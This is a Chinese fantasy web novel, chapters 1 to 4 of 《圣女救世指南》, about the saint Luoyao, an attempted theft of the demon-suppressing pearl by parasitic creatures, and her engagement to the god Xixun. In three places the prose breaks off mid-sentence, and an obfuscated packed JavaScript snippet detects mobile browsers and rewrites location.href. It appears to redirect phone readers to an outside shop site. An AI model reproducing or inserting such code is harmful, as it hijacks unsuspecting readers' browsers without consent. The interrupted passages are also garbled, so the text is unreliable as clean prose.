《圣女救世指南》 1. 既见浮生(一) 天际外,法阵四起,目之所及尽是荒芜,数以千万计的幽祟冲破了界壁,密密麻麻地涌向天地。 镇幽珠高悬在空中,光芒逐渐微弱,珞瑶守在阵法最前方,随着灵力消耗得越多,脚下的灵昙花影越是盛放。 山崖之下,各界士兵如蚂蚁般渺小,却又前仆后继地冲上前去,淹没在尸山血海中。 六界长老大能齐出,为圣女护法助阵。又是一波祟潮袭来,珞瑶不可控制地喷出一口鲜血,染红了脚下的地面。 澜渊圣境存世数万年,受天道指引而生,代代传人责任在身。 山穷水尽时,为保天地无恙,甘愿以身献祭。 残阳被阴霾掩盖,满地血雾,幽祟再度大规模袭来。 珞瑶主意已定,随后,一股莹蓝色灵力涌出她指尖,迅速溢向四面八方,最后召唤出了一个足以遮蔽天空的灵罩。 以镇幽之力铸成的大阵,将六界生灵牢牢罩在里面,与争先恐后袭来的祟潮相隔绝。 珞瑶立在外面,发丝飞转。 下一刻,她目光变得凌厉,用尽全身气力对准幽祟大潮,使出最后一击—— 刹那间,天地倾倒,猩红血光飞溅。 熠熠圣光下,镇幽珠被震得粉碎,爆发出一阵极为刺目的光,将她的身影完全吞噬。 “珞瑶,不要!” 万众的惊喊和恸哭里,她倒下山崖,身体被圣光分割成无数个碎片,在光芒中渐渐消逝,最终与所有幽祟一起消失得无影无踪。 玄光渐退,穹空归晴。 最后一场退幽之战,澜渊圣女自毁元神,将邪元之力镇压于断崖深谷,代价是不入轮回、永不复生。 …… 莹蓝色彻底消散的那一刻,混沌的意识随之回笼。 卧榻上,珞瑶骤然睁开眼,从昏沉梦境中惊醒。 周遭一切安宁,她身在圣境,并未接到何方有难的传音,昭示着方才的画面乃幻梦一场。 珞瑶回过神,不由轻舒了口气,呼吸渐渐平复之余,心中隐隐的不安却没有消除。 身为澜渊圣境传人,她由天地灵气孕育而生,托生于一朵灵昙,继而化作人形。一直以来,她虽为人形,却极少受寻常人欲所扰,至于梦魇之事,更是千百年都难遇一次。 先前,她从未做过类似的梦,今日算是头一遭。 界壁被毁,六界沦陷…… 想起方才梦境中发生的事,珞瑶睡意全无,心绪也变得杂乱,从卧榻上坐起来。 可一直以来,镇幽珠灵力稳定,加之有澜渊圣境发挥作用,就算邪元之力猖獗,也不该失控到那般地步。 若是偶然便罢,只怕这场看似虚无缥缈的梦境,是冥冥之中的某种指引或暗示。 不过片刻功夫,外面乍然爆出一声巨响,震得天地晃动,甚至无视禁制,惊扰了圣女所居的寝殿。 “啪!” 珞瑶手边,冷玉杯盏骨碌碌滚落桌沿,摔了个粉碎。 她霍然起身,冰寒的神色冷过冬日枝杈间抖落的霜雪,这时候,一只朱红花纹的狸猫形灵兽飞奔进来,声中慌乱极了,“珞瑶!不好了,碧火台那边——” 碧火台,澜渊供奉镇幽珠的圣坛,六境驻兵守卫的重中之重。 珞瑶脸色一变,没等来者禀完,身影已经一飘,如一缕轻烟般飞出了初昙殿。 …… 当珞瑶赶到的时候,碧火台上风声波动,始作俑者不知所踪,只留下一缕余气。 驻守圣坛的守将正在四处搜查,见圣女到来,忙走上前拜见,为首的禀报:“方才有贼人闯入碧火台,试图盗取镇幽珠,好在圣坛上的禁制足够坚固,没有让他们得逞。” “捉到那人了吗?”她问。 守将低首,“是属下办事不力……” 珞瑶未言,几步行至圣坛中央,看见镇幽珠并未遭到损坏,正安然悬浮在珠盏中,无声涌动着光华。 她伸出手掌缓缓靠近,感受到其中灵力充盈,心中蓦地松弛下来。 镇幽珠为澜渊圣境所用,却关乎天下安危存亡,是以碧火台一出现异动,就迅速惊动了天地。 没过多久,各方的界主长老闻讯赶来,向圣坛上的珞瑶见礼,得知有惊无险后纷纷松了口气。 “碧火台的结界是当年圣女与诸神合力布下的,只要幽族靠近,顷刻间就会被碾得灰飞烟灭,寻常幽祟没有神智和意识,更没有潜入这里的能耐。”仙主霄霜道。 因此,方才盗窃镇幽珠的应当不是幽族,不是它们,那就只有六界中人了。 “凡六界族人,谁不知镇幽珠的重要。有人欲行偷窃之事,是想毁了我们如今的安宁啊……” “现在的当务之急,是找出企图盗取镇幽珠的元凶。” 众说纷纭,一旁的冥王脸色阴沉,看向圣境守将,“今日负责护卫碧火台的是哪一族的人?” 守将为难,低首回:“回冥王,是灵族。” 灵界势力微小,哪里有此等能耐。冥王听后没有继续问,锐利的目光却越过灵族,扫向一旁的魔界来人,鼻间一嗤。 魔尊此次虽没有露面,但在场的也有魔族德高望重的长老,见状便不乐意了,“伯池,你这是何意?莫非你怀疑那贼人今日进入碧火台,乃是我魔界的手笔?” 冥王也不辩解,冷笑道:“魔族不合群也不是一日两日了,平常六界有要事,那位就极少现身,如今镇幽珠险些遭窃,他照样事不关己,如此散漫无礼,未尝不是心虚的表现。” “你——!” 眼见两方争执不休,仙主皱起眉头,出声打断:“够了。与其在此多费口舌,不如合力找出真凶,你们说是不是?” 立在角落的灵王见了,忙跟着打圆场,众人你一言我一语地议论着,珞瑶没有参与,仍驻足停留在圣坛上,目光偶然扫过一处,顿时停住了。 她蹲下身去,指腹擦去石柱上刻意遮掩过的雾气,在那两道细小的凹陷处摩挲。 若她没有记错,这的确是魔族功法才能留下的印痕。 珞瑶神情微不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202247|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见地沉了沉,下一刻,圣坛外忽然传出几声窸窣声响。 她一震,立刻望向声源处,竟见几团模糊的黑影在空中一闪,旋即向界外的方向仓皇窜逃! 几乎是瞬间,珞瑶紧随黑影飞身而起,迅疾如风,只在原地留下一道朦胧的昙花影。 “快追!” 伯池等人很快反应过来,风云晃动,一时间,数十道明光划过碧空,迅速冲出澜渊圣境。 众人纷纷出手,催动着灵阵法球不断阻截,奈何那团黑影行迹诡谲,一路躲避追击,最后逃到边界处,竟轻而易举穿过了界壁,向着幽深无垠的界外奔逃而去! 众人在界壁边缘堪堪停步。 冥王伯池怒火中烧,作势便要继续冲上去,被身旁人死死拦住:“以你我的修为,一旦越出界壁就绝无生还的可能!你不要命了吗?” 经这一拦,伯池也找回几分理智,神情仍是不甘,但到底不再冲动上前了。 灵王面露惋惜之色,摇了摇头,“今日我等出手慢了一步,怕是无法将那窃珠贼抓回来了。” 界外宇宙风云诡谲,不论是珞瑶还是各界的界主长老,都没有随意出入的能力,眼下远望着那团黑影,纵使他们再气愤惋惜,也只有望洋兴叹的份了。 下一刻,变象陡生,天边忽然掀起一阵疾风,将众人耳畔发丝吹得晃动不止。 珞瑶有所觉,仰头看见一片淡金色的光晕自远方凝聚,驱散了浓密的云层。 那片光晕迅速移动,所到之处气息动荡,仿佛一只无形的手,裹挟着万钧之力。随后,它升向高处,竟如入无人之境般穿过界壁,追上了那团逃跑的黑影! “这是——” 几声错落的惊呼里,原本逍遥界外的影子就那么狼狈地被拖了回来,从高处重重摔落,黑雾散去,缓缓现出两个模糊的人形。 仔细一瞧,两人周身仍被残存的神光压制着,柔和也迫人。 天地归于平静,群山巍峨,绮丽的朝霞映了满天,浩渺的烟波雾霭里,传来一声悠长而清越的鹿鸣。 云雾遥,晓山青。 曦光静照之处,有神降临。 …… 九天灵鹿乘光而来,在落向地面的一瞬间隐去真身,变回人形。 云蒸霞蔚,神明拂去雾气,缓缓现身,眉间那道淡金色的神印熠熠生辉,虽然耀眼,却不显得锋利逼人,周身的气度温润又沉静。 来者不是别人,正是光明神羲洵。 六界之中,神山居首,众人纷纷拱手行礼:“见过神君。” 神明的到来让众人恭谨,更多的则是安心,灵王擦了满头冷汗,庆幸道:“方才多亏神君出手,不然隔着界壁,我等当真是束手无策。” 她说完,众人也跟着附和,好在镇幽珠有惊无险,凶手已被成功捉回。 三三两两的议论声里,羲洵的目光在人群中游移,望向立在不远处的珞瑶。 隔着几步距离,两人的视线猝不及防相撞,他没有躲闪,清隽的眉眼似多了一丝柔和。 2. 既见浮生(二) 地上,蜷缩的两人早已昏迷,身体周围萦绕着紫烟,赫然是魔族的气息。 饶是抓住了偷窃镇幽珠的真凶,冥王的疑心也被印证,眼下却无一人露出轻松的神情,连冥王自己也一言不发,面上含着不自知的凝重。 一直以来,界壁就像一个温暖又安全的花房,将界外的魑魅魍魉与六界众生隔绝开来,除却诸神,再无旁人拥有穿梭界外的能力,更无人敢冒着性命危险,对外面的未知产生半点好奇之心。 探这两个魔修的修为内力,在魔界应该算得上中等地位的一方魔君,但即便是这样,他们也远没有出界的能耐。 事实本该如此。可在盗窃镇幽珠被发现后,他们却迅速外逃,最后毫不费力地冲了出去。 在场的魔族长老认出了那两人,急忙几步上前,奈何半晌也未能将他们唤醒,唯有拱手求情:“圣女明鉴,神君明鉴!此二人虽出自魔族,但如今他们不省人事、周身灵力微弱,事态绝非寻常啊!” 其实不必他说,其余人也发现了问题,端看两人面色青紫,四肢瘫软无力,哪里有半点魔族素日里张扬倨傲的模样? 众人满腹疑云而不得解,纷纷望向一言未发的珞瑶,羲洵的目光也回到她身上。 澜渊圣境为抵御邪元之力而生,若事实真如他们猜测的那样,圣女必定会是率先感知到的那一个。 人群齐齐的注视下,珞瑶挥袖施法。 只见莹蓝色的光一闪,那两个魔修的身体变得透明,在他们体内好像翻滚起一股黑浪,就那么被驱动着唤醒了。 下一秒,他们的肉身开始剧烈颤动,如一层薄壳般碎裂开来,旋即消散。 “果然是幽族!” 伴随着愤怒的叫喊声,那泛着黑气的怪物已经破开两具寄生的身体,却又被法阵困在原地无法逃脱,发出痛苦的嘶鸣。 尖厉又急促,带着界外绝域的阴森气,令人听之胆战。 仙主霄霜神情沉重,“若在以往,这种级别的幽祟绝不可能神不知鬼不觉地入界……它们隐匿自身气息的能力,竟是越发强了。” 数万年前,邪元之力从界外产生,幽族吸收了其中蕴含的恶灵邪念,长久以来为祸四方,上古神为护六界免遭摧残,用自己的血肉真身筑成界壁,最后散尽修为,魂归天地。 因为有界壁这道强有力的庇护,苍生万物才得以远离祸乱,绵延血脉至今。 万年来,天地基本安宁,偶有幽祟突破禁制,但因为有界壁的监管,成功入界的都是些不足为惧的小怪,一经发现,便会被澜渊圣境料理得一干二净。 可是,眼前这两只幽祟有意识、懂得藏匿气息,周身散发出来的暗光浓得刺眼,与以往降服的那些相比,他们明显强大得多。 今日之祸端,怕只是个开始。 先前众人心思各异,如今却有了同一个担心,羲洵开口道:“我等身无镇幽之力,对幽祟只能镇压,不能诛灭,还是由圣女来吧。” 珞瑶颔首,她抬起眼,与羲洵视线相对。 他登临神位,不是不清楚今日之事意味着什么,但相比其他人的反应,他明显冷静和从容许多。 也许作为神明,总是会更理性些。 珞瑶收回思绪,抬手驱动灵力,自指尖涌向地上的幽祟,碧火台上,镇幽珠有所感应,轻微闪烁了几下。 方才蔓延一地的不祥黑气,霎时间灰飞烟灭。 …… 确认镇幽珠无事后,众人并未多留,悉数散去,珞瑶也返回澜渊圣境,将斩杀幽祟后残余的几缕邪力清理干净。 做完这一切后,她重新回到初昙殿。 洞府之中,繁花仙草蒙络摇缀,令人心旷神怡,睡莲为盏,铃兰为灯,满目的空灵和清新,皆倒映进透玉般的清水潭中。 “是圣女!圣女归来了!” 感应到珞瑶的气息后,原本安静的庭院热闹起来,百花探出头,欢欣地摇曳着茎叶和花瓣,青翠的藤蔓拢在高处,随后也舒展身体,缓缓降落下来,化作了小几和休憩的软榻。 花草拂动间,三两流萤扑扇着翅膀上前,捧着玉壶和莲盏,为归来的主人斟了一盏露水。 “珞瑶回来了?珞瑶!” 没等珞瑶坐下稍歇,一道含着急切的声音由远及近传来,红白毛色的狸猫出现在殿外,未加收敛的声音响彻了整个洞天,“你可算回来了,吓死我了!” 话音未落,丹狸迈着短腿奔进来,又围着她风风火火转了好几圈,圆润的身形随它动作抖来抖去,活像一只找不出线头的毛线团。 珞瑶神色未变,眸中浮现出几分无奈。 “还好你没事……” 确认珞瑶没有受伤后,丹狸长长舒了口气,一屁股卧在软榻上。 想起方才发生的事,它气不过地骂道:“幽族真是不想活了,以前被打得无所遁形,现在越发猖狂,居然连碧火台都敢上!” 不比丹狸四处逍遥,一众花草不知外面发生了何事,听后都诧异极了,在得知事情始末后无不义愤填膺,跟着丹狸七嘴八舌地议论起来。 “这种防不胜防的日子,到底什么时候才是个头?” “幸好羲洵神君来得快!” 听它们热火朝天地说着话,珞瑶未曾出声,心中却若有所思。 神山与澜渊之间的距离遥远,此次又事发突然,诸神没能立刻到场本为正常,方才羲洵及时赶来,属实在她意料之外。 若没有记错,他今日本该在闭关中,却不知为何提前出关了。 珞瑶心头夹杂着几分诧异,但更多的还是庆幸,片刻后就忘怀了。 既而她想起某事,回头望了一眼洞天深处。 花园中灵力充盈,芳草萋萋,温暖舒适的角落里,隐约蜷缩着一大团雪白的绒毛兽,尚在沉睡之中。 “小白怎么样了?”她问。 丹狸听了,也探头向里面瞅了瞅,却好像不愿多说一样,只鼓着腮哼道:“它能有什么事?好得很呢。” 珞瑶还欲说什么,一阵叮咚的水流声自殿外传来,打断了她的思绪。 一望空中闪动的浮镜,来者竟是本该早已归界的仙界界主,霄霜。 除了商讨退敌之事,平时六族界主各自守界,极少主动踏足澜渊圣境,何况在碧火台上,众人才刚刚见过一次。 初昙殿外,结界大开,霄霜很快进入洞府。 珞瑶道:“仙主过来一趟,不知有何要事?” 六界皆知澜渊圣女性情疏淡,这些年也早已习惯了她行事待人的方式。 霄霜听后一笑,也跟着开门见山:“我备了一份薄礼,特地来赠予圣女。” 她说完,身后的小仙侍捧出几个匣子来,里面装着产自仙界的灵宝法器,增进修为的、疗伤的、防御护身的…… 一眼瞧去,皆是不可多得的好东西。 澜渊圣境代代镇压幽祟,称作六界的守护神也不为过,圣女的实力越强,界内的安宁就越稳固。 因此,珞瑶常常收到来自各族“进献”的天材地宝,不过这次,仙族实在是太阔绰了些。 见她不语,霄霜道:“这些年,圣女为天地安危夙夜操劳,实属不易。这些东西虽难得,却远不及苍生性命珍贵,若能为镇压邪元之力做出一点贡献,也算我等尽了微薄之力。” 身为圣女,珞瑶清楚自己对六界的重要性,以往面对那些赠礼,凡是能真切加固圣境禁制,或是对她提升修为有益之物,她大都收下了。 “多谢仙主。”话已说到这个份上,珞瑶便也不再推拒。 仙侍退下后,两人又交谈几句,自然而然地提到了方才发生的事。 霄霜轻拧着眉头,叹了口气:“今日之事甚是蹊跷。先前,界内从未出现过拥有附身能力的幽祟,更别说盗窃镇幽珠,邪元之力在界内久被压制,本不该如此猖狂。” 事实上,她所说的也正是珞瑶的疑惑之处,毕竟界壁的力量一向强盛,那些高阶的幽祟不知是如何潜了进来。 更令人不安的是,今日在碧火台现身的幽祟只有两个,在不为人知的角落,也许还藏匿着更多。 “魔族实力强盛,对幽族的防线一向坚不可摧,这次却……一旦幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202248|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族邪气入侵,六界危矣,魇离冲破封印也不远了。” 珞瑶听出话中暗示之意,抬眼望向对面人,“你还是怀疑魔族?” 那双灰蓝色的瞳眸情绪浅淡,只是再平静不过的注视,目光定在对面人的面庞上,仿佛一汪无风的镜湖,能映出最深处的人心。 霄霜垂了垂眸子:“各界命途相连,牵一发而动全身,我不得不忧虑。” 界外邪元之力肆虐,早已成了幽族的天下,其首领名为魇,万年前败于上古神之手。当初他元气大伤,真身被封印在外面,如今时过境迁,定然元气恢复了许多。 一旦他挣脱封印,冲进界内,六界无疑要遭遇灭顶之灾。 “我会尽快查清此事。” 使命在此,珞瑶自不会含糊了事,心里已有了打算。 有了她的许诺,霄霜放下心来,重新露出笑容,“在这天下间,澜渊圣境是最不可缺少的主心骨,有圣女主持大局,乃是我等的福气。” 话毕片刻,霄霜却没有离开的意思,不知为何,反而面露难色。 过了一会儿,她才缓缓开口:“方才碧火台上那些人的模样,圣女也看到了,各族看似亲密,实则貌合神离,魔族我行我素,冥族野蛮,灵族与人族势弱……论起抵御界外邪力,除却神山,我仙族的贡献当属最大。” 珞瑶性子冷,从不是一个多么善于言辞的人,整日面对那些张牙舞爪的幽祟,更没有养成圆滑世故的性子。 她没听懂霄霜打的哑谜,轻皱了皱眉,“仙主有话不妨直说。” “圣女通透,那我就不拐弯抹角了。” 霄霜:“今日我特地来求见圣女,是为了求一个庇护。” 说罢,她向珞瑶拱手,低首坦白。 “倘若他日幽族势力到了无法控制的地步,恳请圣女施恩,对蓬莱仙岛多多照拂……我族修为高深者众多,若得澜渊庇护,届时亦能为圣女作辅助,拱卫天地。” 珞瑶手中拿着露盏,听后一顿,终于明白了她此次前来的意图。 今日镇幽珠险些遭窃,幽族的实力俨然变得更加强势,各族表面风平浪静,实际上必定会受此事影响,暗中为本族筹谋打算。 各界纷纷寻求自保之法,若能得到澜渊圣境的特殊庇护,自是最好,可惜圣女的责任重大,远不止护一族安宁。 “圣境代代护卫六界,不知谁人贡献如何,只知苍生万物平等,并无贵贱之说。仙主的请求,恕我不能答允。” 珞瑶话中无喜无怒,态度却很坚决,“仙主,请回吧。” 她手一拂,那些沉甸甸的匣子好像几片树叶,被轻飘飘地退了出来。 殿中气氛凝滞了几瞬,但霄霜能位至仙界之主,自然也明白知情识趣的道理,见珞瑶不答应,当下也不再强求。 “我明白圣女的意思了,方才的一番话,圣女就当没有听过。” 她起身,向珞瑶拱了拱手,那些送出去的宝物也没有收回,而是不卑不亢道:“这些东西并非贿赂,乃是仙族赠与圣境的谢礼,一番心意,还请圣女务必收下。” 颔首示意后,霄霜带着仙侍告辞。 大难将至时,先护族人无忧。日后形势不明,谁也不知道幽族何时到来,她身为仙界界主,会做出这样的选择也无可厚非。 至于魔族是否可疑,还需要再一次取证。 几人离去,水潭边的兰草微微摇曳了几下,发出簌簌的轻响。没过多久,珞瑶也站起了身。 “我去一趟神山。” …… 天朗气清,霞彩萦绕着悄然变幻。 离开初昙殿后,珞瑶穿过圣境长廊,向着神界的方向去,行至圣境外,看见一个熟悉的身影正立在花庭间,不知停留了多久。 她微怔,脚步也停了下来。 似是察觉到了珞瑶的气息,那人循声望来,一袭玉色长袍停在云光之间,仿佛染了满天的曦辉。 “我猜到你会出来。”羲洵道,眉目间含着悦色。 声线清缓又平稳,好像天晴日暖时花芽初绽,拂过了一阵不疾不徐的风。 3. 既见浮生(三) 珞瑶没想到他没有离开,倘若有事相商,他也应该像霄霜一样进入圣境与她相见,而不是一直等在这里。 仿佛看出了她的不解,羲洵走到她面前,温声道:“今日碧火台异动,而魔族嫌疑未除,你定会上神山查看浮生镜。与其让你独自登那长长的神梯,不如我留下等候片刻,直接带你上去。” 出于共抗幽族的原因,神族与澜渊圣境之间联系紧密,浮生镜位于神山顶端,在镜中,六界有何异动都能看得一清二楚。 魔族是否清白,就看浮生镜如何说了。 珞瑶点了点头,欲同羲洵一道离开,这时目光扫过他发间,瞥见了几点淡淡的绯色。 许是他置身花庭中,无意间沾上的。 她停下了步履,提醒道:“你头上有月兰花瓣。” 羲洵一怔,伸手摸索了几下,但因为看不见,所以迟迟探不到那花瓣藏身的位置。 珞瑶见状想替他摘去,指尖将要触碰到他发丝时却又忽然想到什么,动作也随之顿住了。 她在人间听过一句话,男女之间“发乎情,止乎礼”。 珞瑶手指蜷了蜷,若无其事地退后半步,羲洵察觉出她的不自在,在意识到原因后,眸中逐渐升起柔色。 他轻笑了一下,声中并无恼怒,含着无奈,“你我本有婚约在身,如今时间日久,若非我提起,你怕是要全然忘记了。” 婚约…… 珞瑶目光微动,一双素来冷清的柳叶眸终于泛起了些许波澜。 这些年她在各界奔波,日日只顾追斩逃进界内的幽祟,早将其他“不重要”的事忘在了脑后。直到刚刚听过羲洵的话,她才恍惚记起,自己也是有婚约在身的。 那时她刚刚执掌澜渊,羲洵也尚未成神,一道突如其来的谕令就这么从天而降。天道缔结此婚,将他们的名字彼此相连,篆刻在了连理树中央。 思及旧事,珞瑶的思绪短暂地游离了出去。羲洵望着她,须臾,柔光笼罩住他身形,幻化出九天灵鹿的真身。 羲洵身形颀长,化作鹿身时足有一个半珞瑶那样高,四腿匀称又有力,鹿耳尖尖,额间淡金色的印记明灭,昭示着神明的身份。 那对大而舒展的鹿角剔透如冰晶,上面仍沾着一片绯色的花瓣。 下一瞬,他的声音响起:“那这样,可好?” 只见灵鹿俯首下去,缓缓挨近珞瑶,最后停在了她能轻松触碰到的位置,花瓣被光映照得忽闪忽闪,就停留在她眼前。 之前珞瑶顾及男女有别,不能与他举止过密。 既然如此,他化作真身,就只是一头无害的小鹿了。 谁知羲洵会想出这样一个法子,似乎有些牵强,可若认真论起来,却又挑不出什么问题。 微风徐来,拂过庭间轻摇的仙草。珞瑶抿起唇,看着面前羽扇般低垂着的小鹿长睫,思绪有些游离。 为巩固镇幽之盟,各界确实有过通婚的先例,但神族通常不参与其中。至于澜渊圣境则地位特殊,独立于六界之外,就更不在订立婚约的考虑范围之内了。 因此,早在婚约初降时,各方就已经传出过或多或少的惊异之声,等到后来羲洵飞升,两人态度皆不热切,这桩婚约也就渐渐无人提起了。 自上古神陨落之后,登临神位者至今不过两手之数,而修炼者一朝成神,便极少受俗世情缘所扰。羲洵如此,珞瑶以圣女之身坐镇澜渊,性子亦清淡到了极处。 旁的且不说,就是这样的两个人,即便有朝一日成婚,又能产生什么难舍难分的情爱羁绊? 外界流言如此,事实上,连珞瑶自己都是如此认为的。她终年为镇幽之事所缠身,无暇分心料理其他,同羲洵一直保持这种稳定且平淡的关系,没有什么不好。 不过……也许是她的错觉。 她总觉得,近日羲洵好像有些不同了。 面前晶莹的鹿角泛着微光,鹿首线条灵秀,表面还覆着一层短短的绒毛,令人想起抚摸时顺滑又柔软的触感。 珞瑶犹豫片刻,伸出手,轻轻取下了那片月兰花瓣。 月兰喜湿,往往生长在湖畔水边,除了它,这里还有许多不同的花草,有的开在盛夏,有的绽于寒冬。 因此,圣境中终年繁花锦簇,从无寥落或荒芜。 珞瑶不合时宜地回想起今早做过的梦。梦中,大批幽祟鱼贯入界,各族难以抵御,因此生灵涂炭,澜渊圣境亦遭到波及,疮痍满目。 原本一望无际的花海,全都被熔浆般涌来的红潮烧成了灰。 见珞瑶神色微凝,小鹿低头蹭了蹭她袖角,还以为他闭关期间有幽族出没,让珞瑶负了伤。 “阿瑶,你受伤了?”他关切道。 珞瑶回过神,很快否认:“没什么,只是做了个噩梦,心有不安罢了。” 像是没想到如圣女也会被梦境扰乱思绪,羲洵起了兴趣,试探问:“梦见了什么?” 界壁被破,天地罹难。 珞瑶低眸,含糊道:“梦见我死了。” 她话音落下,两人周围的气息有一瞬凝滞,羲洵未能立即回应,许是也为她这番话所惊。 片刻后,他自鹿身变回人形,脸色也恢复如初了。 “那只是梦境。现下幽族势力虽猖獗,但远非不可控制,你莫要多想。” 珞瑶点了点头。 正如羲洵所说,只是一场梦,所以她才不愿过多透露梦中发生的事,以免将本不存在的忧虑传递给更多的人。 她状态有所好转,羲洵心下稍安,面上也重新露出柔色。 “走吧,我们去神山。”他道。 两人并肩离开澜渊圣境。珞瑶步履未停,渐渐地,羲洵落后了两步,只是安静地跟在她身后。 无人看到的地方,那双琥珀色的眸子向来沉静温和,如今却望着她背影,目光暗淡又复杂。 也许,那不是一场梦。 …… 一直以来,天地联手对抗外敌,各族相安无事,分别驻守自己的族界,天外最高处的群山云雾缭绕,便是众神栖息的神山。 数座青峰间,日月齐照,云中燕鹤高飞,湍急的瀑布倾泻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202249|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而下,激起的细浪如碎琼乱玉一般。 峰顶近处,满池白荷盛放,柳枝垂入冷泉湖畔,丝竹琵琶声悠扬飘逸,如静水流深。 庭院里,男人以一支贝簪挽发,正坐在石桌旁下棋。在他对面,一根流光溢彩的凤凰羽毛立在棋盘上,如有意识般卷着一枚棋子,仿佛正思考落在何处。 一子落下,男人没忍住露出笑意,扬声道:“朝梧,你再不下来,你的凤羽可要将你先前赢的全输回去了。” 他身后不远处,一棵巨大的梧桐树静静地矗立在旁,茂密的枝叶舒展开来,几乎遮蔽了四分之一的穹空。 树杈间,红衣女子屈肘撑头,惬意地阖着眼,“愿赌服输,我坐拥山泽大荒,还怕还不起你那点儿赌债?” 说着,她拿起酒坛,随意扬了扬。男人听后笑起来,骂道:“怎么还跟我装起腔了?” 山前,瀑布倾泻的速度悄然转缓,他指尖一动,清澈的湖水就如长翅膀般飞了出来,凝成水柱向巨树涌去。 汩汩的水流声逐渐逼近,朝梧有所觉察,蓦地睁开了眼。 “沧丞,你居然偷袭!” 她身形一闪,敏捷地飞向另一端树梢,下一刻,巨树间盘虬的枝桠忽而动了起来,仿佛手臂般不断延伸和生长,而后越长越密,编织出一张足以抵御水浪的木网。 流动的水与坚固的枝干相互逼近,重重碰撞到一起,其间并无杀气,反而带着几分闲暇戏耍的意味,谁也不让谁。 两股神力交汇,震出强势的气浪,树下摆放整齐的酒坛尚未开封,此时也被震得晃晃荡荡。与此同时,两人的真身也在暗暗对峙,现出浅淡的凤凰和鲤鱼影子。 僵持不下之际,翠柳湖畔,阵阵悦耳的琵琶声骤然终止。 随着一团雾气散去,玉面白狐离开湖畔的琴桌,后腿一蹬跃至水浪与树藤中央。又大又长的尾巴在空中一扫,使得两方同时后退,总算终止了这场闲来解乏的“战争”。 对于他们时不时的切磋打闹,白狐早已司空见惯,这次却没有加入,而是堪称严肃地打断了。 她落到地面,变回人身,看那清秀又俏丽的容貌,要是放在人间,也就是个豆蔻年华的小姑娘。 沧丞收了手,不死心地问:“羲泠,你帮谁?好歹选一个!” “我谁也不帮,你们要闹到别处闹去。” 羲泠一边说着,一边到巨树下把完好的酒坛挪到安全处,皱起眉毛怪道:“瞧瞧,酒坛子都差点被你们震倒,今年的酒才挖出来,羲洵还没喝上一口呢。” 听了她的话,两位神明才明白她今日如此反常的原因。 朝梧从树上跃下来,打趣道:“羲洵去了澜渊,等他见到珞瑶,哪里还能想起什么酒还是茶?就算珞瑶一口露水都不给他喝,他也照样会喜不自胜的。” 这时候,山门大开,庭院外风声涌动。 沧丞见状含笑,“正说着呢,人就回来了。” 三人循声望去,以为是羲洵自澜渊归来,但没过多久就感受到了不寻常——这气息,看来回来的不止羲洵一个。 4. 既见浮生(四) 片刻,一道暖色光晕自天空飞转而下,羲洵现身,与他并肩而来的年轻女子一袭霜袍锦绶,面容清冷。 她的眼尾处有两道淡淡的印记,形如昙花花瓣,那双灰蓝色的瞳眸不染杂质,如同神山顶上终年不化的积雪寒霜。 见老熟人到来,朝梧和沧丞皆露出悦色,几步上前,后者道:“珞瑶,你可有许久不曾来过神山了。” 朝梧应和:“要不是浮生镜在此,更不知你何时才会上来与我们几个一聚。” 众神一早得知了碧火台上发生的事,只是后来听说羲洵已将事摆平,镇幽珠有惊无险,便没有下界现身。 如今事态尚未明晰,珞瑶过来利用浮生镜调查也是意料之中。 两人说着,笑中似有埋怨之意,珞瑶目光柔和几分,“近日多有动荡,我于各界辗转,是繁忙了些。” 在神山现存的八位神明中,水神沧丞是最随性恣意的一个,听后啧声:“各界皆有圣境使者坐镇,何须你事必躬亲,一直这样,你何时才能真正歇一歇?” 除了神山,其他五界都有圣境使者驻守,这是澜渊圣境一经诞生就定下的规矩。圣女通常发号施令,只有遭逢大乱时才会现身出手,谁知这一代出了个珞瑶,时间一长,手里仅剩的一两分清闲也被她散了个尽。 圣女性情谨慎,大小事务皆要亲自过手,对六界安危自是有利无害,但长久这样下去,被消耗的终究是她自己。 三神与珞瑶闲话着,唯有羲泠不语,闷声不响地立在旁边,好在其他人对此早已习惯,也并未干涉。 须臾,几人结伴而行,登上神山顶端。 高台之上,雾气缓缓散去,神力充盈的石柱安静地矗立在中央,神链一端连着石柱,一端则向四面八方延伸。 高台边缘悬空着的六面寒玉镜仅用神链连接,正是浮生镜。 羲洵把手掌放在石柱上,解开了上面的禁制。珞瑶走到镜前,只见其中光芒闪动,缓缓浮现出魔界的异常景象。 这里阴霾密布,隐约分辨得出是一处幽暗的树林,数团黑雾恐慌地窜逃,在魔界圣境使者和长老的猛烈攻势下节节败退,发出一声声嘶鸣。 